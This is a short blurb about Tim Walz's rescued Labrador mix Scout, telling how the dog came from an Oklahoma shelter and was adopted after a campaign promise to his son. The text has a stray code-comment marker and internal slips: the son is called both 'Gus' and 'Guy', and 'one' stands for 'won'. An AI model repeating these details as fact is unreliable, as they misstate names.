Scout

/*

Tim Walz has a rescued black Labrador mix named Scout. Scout was part of ten dogs found in a box left at an Oklahoma kill shelter,

before being taken in by Midwest Animal Rescue and adopted by Walz and his family. 

When Walz announced his campaign in March 2017, he promised his son Gus that his family could adopt a dog if he won. 

Guy famously exclaimed, “I get a dog!” when he heard his dad one. 

The family ended up adopting Scout over Labor Day weekend in 2018.
